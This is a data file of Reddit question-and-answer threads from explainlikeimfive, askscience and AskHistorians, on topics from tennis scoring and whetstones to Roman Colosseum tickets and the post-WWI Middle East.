{"q_id": "36zjm7", "title": "why do you count 15, 30, 40 in tennis?", "selftext": "Hey,\n\nI have been playing tennis for 4 or 5 years now and I always wonder: Why in hell do you count like this? Is there any reason for 15, 30, 40? The jumps are not even the same (+15,+10). What's the point in it?\n\nThanks :D", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/36zjm7/eli5_why_do_you_count_15_30_40_in_tennis/", "answers": {"a_id": ["criflht", "crig0pp", "crig23l", "criidfg", "crijf0c", "crikw0k", "crilmiw", "crilwrs", "crime8c", "crimv3p", "crin8m9", "criqv1z", "crir5vx", "crizz15", "crj0pi8", "crj1iur", "crj1vul", "crj2c2r"], "score": [4376, 815, 550, 6, 2, 2, 9, 2, 4, 3, 108, 5, 2, 4, 2, 4, 3, 5], "text": ["Basically the French used to play a game called *jeu de paume*, which was like tennis but with the palms of their hands.\n\nThe courts were 90 feet long, so each player had 45 feet to play in.\n\nWhen the player got a point they were allowed to move up the court - the first time 15 feet, the second another 15 (to 30 feet), and finally 10 feet (to 40 feet) so there was still a 5 foot gap from the player to the net.\n\nThe scores still follow this pattern.  They could have changed it I suppose, so it would go \"15, 30, 45\", but 45 is harder to say than 40 ~~particularly in French~~\n\nEDIT: Yes I mean feet, France only adopted the metric system towards the beginning of the 1800s, and Jeu de Paume predates that.", "Related tennis ELI5: Why do they use the term \"Love\"?", "i was led to believe that they used clocks for the points....\n\n1 point = 15 mins\n\n2 point = 30 mins\n\n3 points = 45 mins\n\nhowever, since you have Advantage to worry about, instead of moving the clock to 45 mins, they would move it to 40, allowing the clock to be moved to 55 mins to show Advantage.\n\nhope this clears it up!", "Practically, it helps to differentiate the game score from the set and match score to make it easier to track.  But, that's just my thinking.\n", "The real answer is nobody knows for sure. There are of course a couple of plausible theories but it didn't emerge from anything definitively.", "How come 30-30 isn't deuce? ", "From what I heard, could be wrong, it was a thing of ease of speaking. 15 and 30 are short words in french, quinze, trente, both pronounced with one syllable. Whereas 45 would be quarante-cinq, so to shorten it, they started saying quarante to make it faster. Could be completely wrong, but it's what I heard.\n\nEdit: Spelling", "There are a few popular theories, but what seems most likely is that, whatever the reason they started out counting by 15's, 45 was shortened to 40 just because it's easier to say two syllables than three.  (This holds in French, as well, and is even more of a jump when counting up since 15 and 30 are only **one** syllable each:  15=*quinze*, 30=*trente*, 40=*quarante* vs 45=*quarante-cinq*).", "I always assumed the answer is Tennis is a game played by wealthy individuals, so they expect high rewards for little effort.\n\nDo one thing well?  Have 15 points.\n\nDo two things well?  Double it!\n\nDo a third thing well?  Add 10 more.\n\nDo a fourth thing well?  YOU WIN!!", "So then what about the kind of odd uses of Ace and Deuce?", "Being a scientist, I discovered the following on Wikipedia: History[edit]\n\nThe origins of the 15, 30, and 40 scores are believed to be medieval French. The earliest reference is in a ballad by Charles D'Orleans in 1435 which refers to quarante cinque (which gave rise to our 40) and in 1522 there is a sentence in Latin \"we are winning thirty, we are winning forty-five\". The first recorded theories about the origin of fifteen were published in 1555 and 1579. However the origins of this convention remain obscure.[3]\n\nIt is possible that clock faces were used on court, with a quarter move of the hand to indicate a score of 15, 30, and 45. When the hand moved to 60, the game was over. However, in order to ensure that the game could not be won by a one-point difference in players' scores, the idea of \"deuce\" was introduced. To make the score stay within the \"60\" ticks on the clock face, the 45 was changed to 40. Therefore, if both players have 40, the first player to score receives ten and that moves the clock to 50. If the player scores a second time before the opponent is able to score, they are awarded another ten and the clock moves to 60. The 60 signifies the end of the game. However, if a player fails to score twice in a row, then the clock would move back to 40 to establish another \"deuce\".[4][5][6]\n\nAnother theory is that the scoring nomenclature came from the French game jeu de paume (a precursor to tennis which initially used the hand instead of a racket). Jeu de paume was very popular before the French revolution, with more than 1,000 courts in Paris alone. The traditional court was 90 ft in total with 45 ft on each side. When the server scored, he moved forward 15 ft. If he scored again, he would move another 15 ft. If he scored a third time, he could only move 10 ft closer.[7]\n\nThe origin of the use of \"love\" for zero is also disputed. It is possible that it derives from the French expression for \"the egg\" (l'\u0153uf) because an egg looks like the number zero.[8][9] This is similar to the origin of the term \"duck\" in cricket, supposedly from \"duck's egg\", referring to a batsman who has been called out without completing a run. One possibility comes from the Dutch expression iets voor lof doen, which means to do something for praise, implying no monetary stakes.[10] Another theory on the origins of the use of \"love\" comes from the acceptance that, at the start of any match, when scores are at zero, players still have \"love for each other\".\n", "I can't find a source for this, but I've had a tennis couch mention that rules and scoring were purposely meant to be counterintuitive so that the poor could not easily pick tennis up. ", "TIL my High School tennis coach is a liar.  \n\nHe told us that, in the early days of tennis, you had to rally 15 times until the first point could be won, 30 times until the second point could be won, and 40 times until the third.  From there, the rules changed but they still kept the numbers 15, 30, and 40 relevant. ", "So this was the etymology given by my gym teacher. May be apocryphal but fits. The tennis points were called so after the divisions of a clock. So 15,30,45 and 1\nBut 45 is quarante-cinc and 40 is just quarante which is easier to say and thus it changed to 40 ", "It's so you don't confuse the game score with the set score. Otherwise you wouldn't be able to tell the difference between 30-love and 2 -0 in a set.  i.e. it's a more informative scoring system.  This might not be the reason it was created, but it's definitely a reason why it's still used.", "Tennis was originally a sport for the wealthy, and to confuse the poor, they made up this crazy scoring system to confuse them (they considered them stupid as well) and discourage them from wanting to play.", "And what about the term \"Deuce\"?", "I read somewhere that it was to do with the face of a clock. 15, 30, 45, 60 (full game). Eventually the 45 got shortened to 40 because it was hard to say in France (where the game was invented).\n\nThen again, it wasn't a fully reliable source."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "7cgdof", "title": "why do europeans have \"drinking songs\" but american's don't?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7cgdof/eli5_why_do_europeans_have_drinking_songs_but/", "answers": {"a_id": ["dppn5qp", "dppplqi", "dpprub7", "dppt5kb", "dppts7p", "dppu2u7", "dppvckp", "dppvuso"], "score": [14, 2, 6, 2, 3, 8, 2, 2], "text": ["Drinking songs can be thought of as a form of folk song, or a historical song shared by people of the same culture that has no real creator, but has been passed to generationally to members of a certain folk group. The U.S. is interesting culturally because it does not have this underlying folk culture, since the people that came to the U.S. came from a variety of different culture with different folk traditions. While this combination resulted in an interesting mixture of cultures, it means there is really no underlying folk tradition for drinking songs to arise from.", "In the US we have one that I can think of, does anyone else know Barnacle Bill the Sailor?", "Americans have plenty of drinking songs. Friends in low places, I love this bar, and pretty good at drinking beer, immediately come to mind. Country music is good for those types of songs. ", "Dude have you ever heard of buy u a drank by t pain? ....you tripping", "Here in England we don\u2019t have any drinking songs but if you started singing oasis aloud, everybody would join in!!! I guess old drinking song are just popular song that pissed blokes sing. ", "You have apparently never been in a bar when \"Sweet Caroline\" comes on...\n\nBut seriously, \"drinking songs\" are reflective of the culture of the people singing them, and in Europe, many of their cultures are eons old. In the US, our only references are far more recent, so we unite over songs we know collectively, though can't be traced back to more ancient origins. I would say some of the US's common drinking songs would include, as mentioned above, \"Sweet Caroline\" by Neil Diamond, \"Friends In Low Places\" by Garth Brooks, \"One Bourbon, One Scotch, And One Beer\" by George Thorogood, and any other common bar staples.\n\nsource: I am a full-time entertainer and musician who caters to Americas drinking class. Cheers!", "The US national anthem is a drinking song! The tune is from a drinking song called [Anacreon in Heaven.](_URL_0_)", "Heard of country music?  Lol"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://en.m.wikipedia.org/wiki/To_Anacreon_in_Heaven"], []]}
{"q_id": "98jbd5", "title": "why do some whetstones need water, oil and some work dry?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/98jbd5/eli5_why_do_some_whetstones_need_water_oil_and/", "answers": {"a_id": ["e4glqic", "e4gnorq", "e4gs7r9"], "score": [27, 37, 2], "text": ["Usually whetstones that are for really sharp edges work with water or oil, this is because the edge will take off small parts of whetstone and form an abrasive paste that ensures even material take-off. ", "to understand, you need to know how a blade wears down. \n\nwhen a blade cuts into something, the leading edge deforms. this can result in blunting (the metal squashes), chipping (where pieces of the metal break off), or warping (the edge bends)\n\nwarping is fixed by *honing*, which primarily just pushes the metal back into place. while lubrication can make this a smoother process, it's not really required. if you've ever seen a barber run his blade over a piece of leather (called a strop), that's what he's doing. (somewhat of a tangent, razorblades are so fine that the edges bend easily, and shouldn't be subjected to the harshness of stone, which is why they use leather) \n\nchipping and blunting are fixed by removing material, the same way you would buff out a scratch in a piece of wood. stones meant to do this need the liquid to carry the removed material away. otherwise the metal will just be stuck on the stone and will keep the stone from biting the metal. \n\nthat said, most stones *can* work dry, just not as well. ", "The main purpose of water is to wash away all of the metal particles as it's abraded away so that it doesn't clog up the stone. Oil is sometimes used as water can cause rust to form on your blades. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "wim1c", "title": "Has the human body already begun to adapt to more recent inventions like clothing?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wim1c/has_the_human_body_already_begun_to_adapt_to_more/", "answers": {"a_id": ["c5dpgf8", "c5dpnrc", "c5dq4q2"], "score": [4, 4, 7], "text": ["The only topic related example I can think of is the adaption of Caucasians to alcoholic beverages which have much higher activity levels of Alcohol Dehydrogenase than Asian counterparts. This was due to the preferred method of sterilizing water with alcohol in the west compared to boiling in Asia. Not sure if alcohol beverages is the kind of invention you were after though. ", "The development of clothing has not lead to speciation among humans. It is widely believed to have caused the evolution of the body louse from head lice almost 100,000 year ago. [[soure]](_URL_0_)\n\nIt could be argued that biological changes in the form of defense to diseases carried by body louse have been developing since then, but that is just speculation on my part.", "It's likely that humans evolved to eat cooked food, since proto-humans also cooked their food. \n\nI think part of it may be that clothes allowed us to live in environments where we couldn't if we didn't have them. Otherwise, humans would have had to gradually evolve to warm climates, so you'd have things like wooly humans in northern climates (or perhaps no humans at all)   Humans could probably only survive with no clothes year round in the tropics. \n\nSo there is an interplay there between evolution and invention, but usually it means we don't need to evolve genetically. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.eva.mpg.de/genetics/pdf/Kittler.CurBiol.2003.pdf"], []]}
{"q_id": "5jqi84", "title": "What is the origin of the snowman? And more specifically, the image everyone gets in their head (carrot nose, coal eyes, etc)?", "selftext": "Edit: Well...shit.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5jqi84/what_is_the_origin_of_the_snowman_and_more/", "answers": {"a_id": ["dbibhi2"], "score": [771], "text": ["The only major resource I can find on the subject is [*The History of the Snowmen*](_URL_1_) by Bob Eckstein.  In it, he comments that the earliest mention of an anthropomorphic snow sculpture is from an illustrated manuscript, *The Book of Hours*, from the Netherlands.  It depicts [a snowman](_URL_2_) with a rather anti-Semitic nature, lacking arms and legs.  \n\nEckstein makes mention of a more detailed event in history from Brussels, known as the Miracle of 1511, which was a public art instillation of over 100 snowmen built by the townsfolk.  Many of them were politically-themed, some shown making rude gestures toward the church or government buildings.  Others were comical, while others yet had some severe lewd connotations.  \n\nSource: [Winter's Effigies: The Deviant History of the Snowman](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.atlasobscura.com/articles/winters-effigies-the-deviant-history-of-the-snowman", "https://www.amazon.com/History-Snowman-Bob-Eckstein/dp/1416940669", "http://assets.atlasobscura.com/article_images/800x/12485/image.jpg"]]}
{"q_id": "9zd63l", "title": "what do the different sections of the political compass mean?", "selftext": "Some common beliefs of people in the different sections would also help me profusely. Eg. what would an authoritarian-right look like?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9zd63l/eli5_what_do_the_different_sections_of_the/", "answers": {"a_id": ["ea8b4tj"], "score": [2], "text": ["I believe the political compass website has examples of politicians who fit in each box.\n\nBroadly speaking, staring from the top right box and going clockwise:\n \nTop right: Authoritarian-right is where a lot of the world\u2019s conservative parties fall. This means less personal liberty and more economic liberty. There are of course varying degrees of this. I myself fall into this box, quite heavily right-wing economically and only very slightly personally conservative. The American Republican and Democrat parties both belong in this box, as do the UK Conservative Party and Labour Party. Although they are traditionally pit against each other as \u2018right vs left\u2019, they\u2019re not actually that distinct. \n\nBottom-right: Libertarian, people in this category believe in economic liberty and personal liberty. Live and let live, and small government. Low taxes. No welfare state. \n\nBottom-left: Socialism/Collectivism/Anarcho-Communism. High taxes, welfare, social programs, restrictions on trade. Total personal freedom but restricted economy. At the extremes, people in this category get referred to as SJWs, Bleeding hearts, \u2018liberals\u2019 etc. \n\nTop-left: Authoritarian-Communism/Statism. Total faith in the state in everything, economic and personal. Stalin was in this box. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3bscm9", "title": "where do basketball teams get the money to draft players with multi-million dollar contracts?", "selftext": "Seeing all the posts on the front page about the basketball players receiving \"max contracts\" for tens of millions made me wonder where all this money comes from, how much does each team have, and do certain teams have more?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3bscm9/eli5_where_do_basketball_teams_get_the_money_to/", "answers": {"a_id": ["csp1caf"], "score": [6], "text": ["Most of the money comes from the TV contract. The TV station that shows the games has to pay a lot of money to the teams and the NBA. \n\nThere are two other important sources of Money: Ticket/food sales at home games, and merchandise. The team makes a lot of money on selling tickets, beer, food and other stuff at home games.  They also make money selling branded stuff like hats, stuffed bull toys, jerseys, and other random stuff with the team name on it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6af8jl", "title": "Do cancer cells repair DNA damage more efficiently than healthy cells?", "selftext": "I know that defects in DNA damage repair can initiate malignancy, and I know that efficient DNA repair is one means by which cancer cells resist chemotherapy and radiotherapy. However, I'm not sure if cancer cells, in general, have better DNA repair capacity than healthy cells.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6af8jl/do_cancer_cells_repair_dna_damage_more/", "answers": {"a_id": ["dhe5dfr", "dhe5fo8", "dhe9nbj"], "score": [15, 2, 2], "text": ["In general, the lack of ability to repair mutations is what causes cancer. Malignant cells manage to \"bypass\" regulatory mechanisms which cause the cell to initiate DNA repair. The lack of repair mechanisms is what allows certain treatments to be effective without killing off all the healthy cells. BRCA mutations are a common example of this. \n  \nI.e., a mutagen, such as radiation, is introduced to the body. These factors cause an increased rate in genetic mutations. Non-malignant cells can initiate repair mechanisms to fix these mutations, allowing for normal cell division; if these mechanisms fail, apoptosis occurs and the cell dies. In cancer cells, these mutations will not be repaired  &  apoptosis will not be initiated. Therefore, the cell will continue to accumulate mutations, some of which cause it's malignancy. Eventually, these mutations accumulate, and with enough mutations (such as during radiation treatments) cell death can be initiated.\n  \nEdit: in summary, no. Part of the basis of cancer cells is that the do not repair DNA mutations", "No, they' re not quicker in DNA repair, they don't need any repair process, the absence of a mechanism of control of errors in replication of DNA in tumoral cells make Them accumulate every type of mutation, keeping active the replication of DNA even when the DNA is damaged ", "No, less. That's they're strength/weakness.\n\nThe body is like a tyrannical empire of cells. Every cell has to fall in line for the cells to work together to be a coherent whole. So much so that cells will readily commit suicide (apoptosis) if it would benefit the body. Cancer is a rogue group of cells that go their own way, they're not so much a body or a part of a body as a population again. Mutations are a way for the cancer cells to survive and adapt, they evolve through mutation to be able to overcome the immune system and other anti-cancer mechanisms the body has. If some of the mutated cancer cells don't make it, well, that's too bad, but that just leaves the ones that do survive to grow.\n\nThis is often a major weakpoint that is used for treatments of cancer such as with radiation or chemotherapy. If you can damage both your own cells and your cancer cells just enough to cause the cancer cells to no longer be viable populations then you might be able to survive and your damaged healthy cells will regenerate or repair, etc. In the case of chemotherapy the thing that's being targeted is cells that divide quickly. Which includes cancer but also includes your digestive tract and your hair (which is why people on chemo experience nausea and digestion problems as well as baldness).\n\nSometimes this doesn't work because the balance of strength/weakness between your cancer cells and your healthy cells isn't enough to get rid of one but not the other."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1pyrtc", "title": "Historians, how did World War I and its aftermath affect the development of radical Islamic philosophy?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1pyrtc/historians_how_did_world_war_i_and_its_aftermath/", "answers": {"a_id": ["cd7q4ud", "cd7rg8r", "cd7sbg9", "cd7vcn1", "cd85m6y", "cd8cvrg"], "score": [21, 26, 5, 1163, 3, 2], "text": ["This is an incredibly abridged response.\n\nPrior to WWI, religion was a determinant of borders in the region. After WWI, secularization flourished through nationalism.   \nThe combination of the Sykes-Picot Agreement, the Husayn-McMahon Correspondence, the Balfour Declaration, and Wilson's Fourteen Points brought about not only a downfall to the Ottoman Empire, but allowed some foreign nations to exert a degree of control over many Arab nations. Nationalism in the region was an underlying factor that brought about the emergence of groups like the Ba'ath Party and the Muslim Brotherhood; both of which, rejected Western influence. The Muslim Brotherhood however, sought a complete convergence of Islam with government. \n\nI hope this provides some insight on factors that contributed to the emergence of radical Islam after WWI.", "I just wrapped up *Laurence in Arabia: War, Deceit, Imperial Folly and the Making of the Modern Middle East.* The author, Scott Anderson, claims that Britain and France's failure to support a pan-Arab state - instead carving the Middle East into imperial possessions - created an opportunity for Wahhabis under the leadership of Abdul-Aziz bin Saud (or Ibn Saud) to seize power in Arabia. Anderson writes about how different British colonial administrations actively worked to undermine each other, and while British Egypt developed a close relationship with the Hashemites in Hejaz, the Indian colonial government worked with the Hashemites' chief rival, the Al Sauds. Between this support, the over-extension of the Hashemites in the wake of the war (trying to consolidate rule over Arabia, Iraq, and the Levant all at once), and the confusion created with the collapse of the Ottoman Empire, Ibn Saud was able to seize Mecca in 1925. The Al Sauds managed to secure British recognition of their rule over central Arabia, and a Kingdom of Saudi Arabia was declared in 1932. They established a government in line with the tenets of Wahhabism, instituting strict social policies and tearing down a huge number of historic mosques dating to the time of Muhammad (Wahhabi beliefs finger these as potentially leading to idolatry) and pouring funding into the dissemination of radical Islamic ideals - including, Anderson notes, Osama bin Laden, a devout Wahhabi whose family had close ties to the Saudi royal family.\n\nI can't comment on how the war effected radical Islamist *philosophy,* but its geopolitical impact on spreading Wahhabism was immense.", "Also we can not ignore how After WWI the way lines were simply drawn in the Near East. This line placed different sect together and separated others, like the Kurds. This spreads the idealism of Pan Arabism but obviously that does not work because not all Arabs are Muslims, just like not all Muslims are Arabs with Pan Islamism. In response different groups developed. The Wahhabist led by the Sauds in what is now Saudi Arabia were ( and are) the most conservatives. Being barren desert made them extremely poor. But we all know what happened after the Bristish arrive in response of its protectorate status after WWI. This brought in Westerners whom the clerical Wahabisst saw as ill.", "Let me just start by saying that you're asking an EXTREMELY complicated question, and this is really the type of thing that you'd need a 6 volume book series to even begin to answer comprehensively. That said, I'll give it a shot.\n\nSo one of the casualties of WW1 was the Ottoman Empire, which was essentially carved up into different regions, some of which were administered by the French, some by the British, and then there was Turkey. \n\nOver the next 60 or so years (and this is obviously an INCREDIBLY abridged history,) you had a number of major events.\n\n**Independence and messy borders.** The British and French gave up their holds on the Muslim world, leaving behind states with boundaries that they drew. The problem with this was that the boundaries drawn didn't make any sense. You had Alawites and Sunnis living under one roof. Sunnis and Shias, Turks and Kurds, Kurds and Arabs, etc. The borders simply didn't correspond to any sort of nation state. These societies were still very much tribal, so this matters a lot to these people. A Sunni doesn't want to be ruled by an Alawite, a Kurd doesn't want to be ruled by a Turk, etc.\n\nThis is part of the reason why you keep seeing these \"secular/moderate\" dictators like Gadaffi, Hussein, the Assads, etc. These people consolidate power and base their legitimacy upon the need for an authoritarian arm to rule over the warring tribes. These authoritarians then cut off any source of peaceful legitimate opposition (although a lot of the opposition wasn't peaceful to begin with) which caused it to move underground, into the mosques. One of the best examples of this is Iran in the 70s-- the Shah's authoritarian grip made any sort of political dissidence impossible, so organized religion quickly became the only outlet for opposition against authoritarian rule. This of course led to the 1979 Islamic uprising.\n\n(While I'm here let me quickly plug /r/MidEastRegionalWar, a subreddit dedicated to exploring how the faulty borders in the region are playing out today)\n\n**Israel.** I'm going to be brief here because this is a really emotionally charged topic, but... the formation of Israel and the failure of Arab leaders to \"deal with it\" in 49, 67, 73, was and remains easily one of the biggest reasons behind and one of the biggest outlets for distrust of authority, peddling of conspiracy theories, and the rising of a feeling of a need for a pan-Arab or (when that failed) pan-Muslim identity.\n\n**Oil.** During both the first and second World Wars, the allies quickly discovered how much they needed oil to fight, and were willing to do pretty much anything necessary to ensure the safety of their oil supply from the well to their engines. This is a large part of the reason why the US has been a backer of the Sauds, why the French, British, and Israelis fought Egyptians in 1956, why the US/UK overthrew Mossadegh in 53, and overall why regional security is so important to the US. This has led a lot of Arabs/Muslims to feel that they are not in control of their own destinies and that it is the American/British/Israeli puppet masters that are pulling the strings, which has brought more and more people into extremism.\n\nOn top of that, Oil wealth causes massive inequality because some people get the profits, while others simply don't. This is evident all over the world in energy producing countries, but even in countries that use oil revenues for welfare, there is both massive inequality, and almost more importantly, the oil revenues prevent the necessary economic structures that would create an actual functional economy from forming. This keeps youths poor and disenfranchised, without much of a hope of a future, which orients them toward extremism. \n\nOil wealth has buoyed the House of Saud which took control of Saudi Arabia in the 30s into a regional powerhouse, and one of the driving forces in global Islam. The House of Saud is rooted in Wahhabism, (the Sauds and the Wahhabis aligned in the 1700s,) an extremist/literalist interpretation of Islam that promotes religious violence against anyone who isn't a hardline Islamist. Osama Bin Laden is probably the world's most famous Wahhabi warrior. The Sauds have used their oil money to promote Wahhabism around the world, most notably in the 1979-1989 resistance against the Soviets in Afghanistan, where the Sauds spent billions of dollars to both arm the rebels and to build Wahhabi madhrasahs (religious schools)\nin Pakistan, where many would-be terrorists ended up being radicalized. While it isn't clear whether Bin Laden attended one of these schools, he was definitely a recipient of Saudi money while he was in Afghanistan, building a network of religious fighters that would eventually form the beginnings of al-Qaeda. \n\nThere is so, so much more that I should say to give you a more thorough background on this, but I think that for the most part this is a decent overview. I would recommend looking into things like the rise of the Muslim Brotherhood, and things that Bin Laden has actually said.\n\nLet me know if you have any questions, and I hope this helped.\n\n[These ares some good books.](_URL_0_)", "If you'd like a great read on this subject, look into obtaining a book entitled \"A Peace to End All Peace\". This book covers happenings during WWI, the aftermath, and the Treaty of Versailles, all of which set the stage for Radical Islam to develop. Truly a fascinating read.", "A book that you might want to look at is *The Making of the First World War* by Ian F. W. Beckett (Yale, New Haven, 2012), which tries to set some of the key events of the war in the context of their influence throughout the entire twentieth century. One chapter is devoted to the Balfour Declaration and, by extension, how the war influenced the current situation in the Middle East."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.reddit.com/r/booksuggestions/comments/1lfsib/book_that_explains_islamic_conflicts_in_the/cbyv74y"], [], []]}
{"q_id": "68h0bl", "title": "It's the Dominate Era in Rome. I'm a thief with my mind on burglarizing. What security would I expect to encounter, and what would I do with the goods after I've taken them?", "selftext": "To start, I'm fascinated by security, but especially with what was done to protect your home or business before mass produced security devices and electrical based systems were around.  I've also had a bit of a fascination with the criminal underground of different time periods and how they functioned.  \n\nFor example of questions I had:\n\nWhat kind of security would a business have that a home wouldn't?  \n\nWhat was possible for the Plebians and less wealthy compared to the Patricians to be able to use and afford? \n\nWhat was available for use?  What was used to lock a home if you weren't there, or you were inside your home what was possible?  What was a way to secure valuables inside your home even if someone was able to sneak in, occupied or not?\n\nWhat happened to stolen goods after they were taken?  How would a thief make money?  Was it a black market, fences, or were there other methods to profit from the stolen goods?\n\nThank you for reading and any answers that are possible, this is one of those little bugs in my head I've always wondered about.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/68h0bl/its_the_dominate_era_in_rome_im_a_thief_with_my/", "answers": {"a_id": ["dgzcz7x"], "score": [3], "text": ["One follow up question, did people use animals to protect their homes? I would assume yes, for the farms; but what about in city limits?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a85mds", "title": "How would an average Roman buy a ticket to the Coliseum?", "selftext": "If I was in Ancient Rome and wanted to go see gladiators in the Coliseum, how would I buy a ticket? Would I simply line up at the \u201cbox office,\u201d or were tickets mostly held onto by organizers and given out to the upper class? Was there a secondary market and promotions, or was it very different than buying in demand sports/concert tickets today? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a85mds/how_would_an_average_roman_buy_a_ticket_to_the/", "answers": {"a_id": ["ec8htzb", "ec8kb13"], "score": [895, 251], "text": ["Ceramic, bone, or lead disks known as *tesserae* served as \"tickets\" to the Colosseum. Since the imperially-subsidized *munera* (games) shown in the Colosseum were free, Romans did not purchase these \"tickets.\" Instead, they seem to have received them from patrons, organizations, or (exceptionally) the emperors themselves. \n\nMembers of the Senate and those favored by the emperor presumably received their *tesserae* directly from the imperial court. For everyone else, there seem to have been several methods of distribution...\n\nThanks to a few literary references, we know that emperors sometimes gave out *tesserae* personally. Suetonius, for example, mentions that Domitian scattered *tesserae* into the stands at the Colosseum (*Domitian*, 4). Frustratingly, he does not specify what these tokens were for (other sorts of *tesserae* were redeemable for grain and money), though we may reasonably assume (since we have found lead *tesserae* with pictures of gladiators) that at least some were redeemable for admission to future games. \n\nWell-connected patrons would have distributed *tesserae* to their clients. Martial mentions a lavish dinner at which the host laid out \"nomismata\" (tokens) on a table for his guests (12.62.11). Although there is no indication of what those particular tokens were for, *tesserae* for the games were probably distributed in like manner. \n\nIn light of the many occupational and social groups assigned sections of seating in the Colosseum, it is assumed that \"blocks\" of *tesserae* were made available to the leaders of various organizations. So far as I can tell, however, nothing is known about the process of distribution. \n\n & #x200B;\n\nMichael Mitchiner,  \"Rome: Imperial Portrait Tesserae from the City of Rome and Imperial Tax Tokens from the Province of Egypt\" *The Numismatic Chronicle* 144 (1984), 95-114", "Alrighty, let's see how well I can cover this one real fast :) \n\nSo tickets! Because you're asking about the Coliseum, it makes my job a bit easier, 'cause we have actual documentation about how things were done! Sort of. There's really not much, and you shouldn't feel bad if you've looked for a good bit of time and haven't found anything - references to tickets in general are sidelong and vague at best. \n\nBut those tickets certainly existed - they were called *tesserae*, small tokens about the size of a penny. They could be made of wood, ivory, bone, or even glass, depending on whom they were being made for and given to, and they were used for all kinds of things that would require a ticket of some sort: the grain dole (being one of the more obvious), debts (though these were often much larger), and, yes, entry to the games. \n\nThey were nominally free for the Coliseum. All costs were borne by the *editor* who put on the show, who may or may not have had to receive financial aid himself. Caesar (of stabbity fame) was pretty infamous for spending beyond his means while he was *aedile* - the Roman political office that was responsible for such things - and it became almost traditional to spend hard if you were granted a cushy office in the Imperial period. There's actually a record (two, to be quite clear) of one certain gentleman who was given an office and subsequently spent a chunk of change on food and games.^1 That cash requirement, not to mention the mandatory approval of the emperor to put these shows on,^2 made sure that not anyone could put these shows on.\n\nAnyway, so let's go to storytime. You're one of these *editores*, and you've just gotten permission from whatever Caesar is in charge to put on a show. Woo! Congrats! That's a pretty big step for anyone, and since you've got the cash to do so, you're in good shape and don't have to take out a loan from said Caesar. So, how are you gonna get the word out about your new games and make sure people can get in? Well, two steps.\n\nStep one: You advertise. The best evidence we have for this comes from Pompeii, which offers an unbeatable snapshot of life in the Roman world, to an extent that we can't really get from anywhere else. Things that have since faded away elsewhere are still vibrant in that buried city, and that's what we've got to rely on pretty heavily here. Advertisement certainly took the form of word of mouth, but you also wanted to make sure to reach people who didn't necessarily hear about it - and you wouldn't want to just advertise in your own city, either.^3 So you'd go to the local painters, who you'd hire to promptly paint on some prominent walls. [Here's what one of them might look like.](_URL_0_)^4 So people would know the day, what was going on schedulewise, and, of course, the man who's sponsoring the games in question. That's you, by the way. Schedulingwise, you've probably been worked in with the calendar, so people already know what days to expect games - you just have to tell them that you're doing it and that it's gonna be *great*. \n\nStep two: You get tickets handed out as much as possible. The Coliseum in particular has a ridiculous number of seats (50-80,000), but it didn't even come close to the actual largest stadium in the Roman world - the Circus Maximus could hold over 250,000. There was a bureaucracy for handing these things out. First you'd get them manufactured - make sure to make some fancy ones for the wealthier bunch! - and then get in touch with the distributors. People would get their *tesserae* for free (you're footing the costs, remember), and while most were handed out beforehand, some were also handed out at the door for those without connections/ability. Now, when I say that these were free....there were an *enormous* number of people in Rome, and these spectacles were popular. There would never be enough tickets to sate the demand and so, in true human fashion, it wouldn't be at all unreasonable for a black market to develop.^5 The tickets, generally in the shape of an oblong square, would be marked on each side: one saying which spectacle you were there to see, one saying your seating section, one saying which entrance you were going into, and one saying the date. These could change a little bit depending on what you wanted to put on them, but the seating section and the entrance are constants. \n\nThe Coliseum is a magnificent piece of architecture in that way. Every gate is marked, and the entire structure is engineered to provide the most efficient access for spectators to get to their seats quickly and easily, with as little hassle as possible. Seating was relatively easy to parcel out: it was allocated by social status, legally enforced starting with Augustus^6 (for amphitheatres before the Coliseum, which continued throughout). Senators got the very best seats, closest to the action, then equestrians, then other sections allotted to certain guilds and ranks. The worst (highest) seats were given to (poor) women and slaves. Seating was *very* strictly enforced, with ushers ensuring both at the gate and at the seats that people were who they claimed to be.^7 Seats were inscribed with places that were set aside for certain people, whether they be equestrians, visitors, honoured guests, or senators. You found the seat that matched your ticket if you had one of these - if not, you decided how long you were going to stay before you got there. If you wanted to stay the whole day, it was best to bring something to munch on, or run to take advantage of one of the many vendors that were more than willing to take some of your hard-earned money. \n\nLemme know if you have any questions :) It'll be a little bit before I get to follow-ups (I need sleep, gotta be up in 4 hours for invigilating), but I'll be sure to get to them as soon as I can!\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://i.imgur.com/naJA74M.jpg"]]}
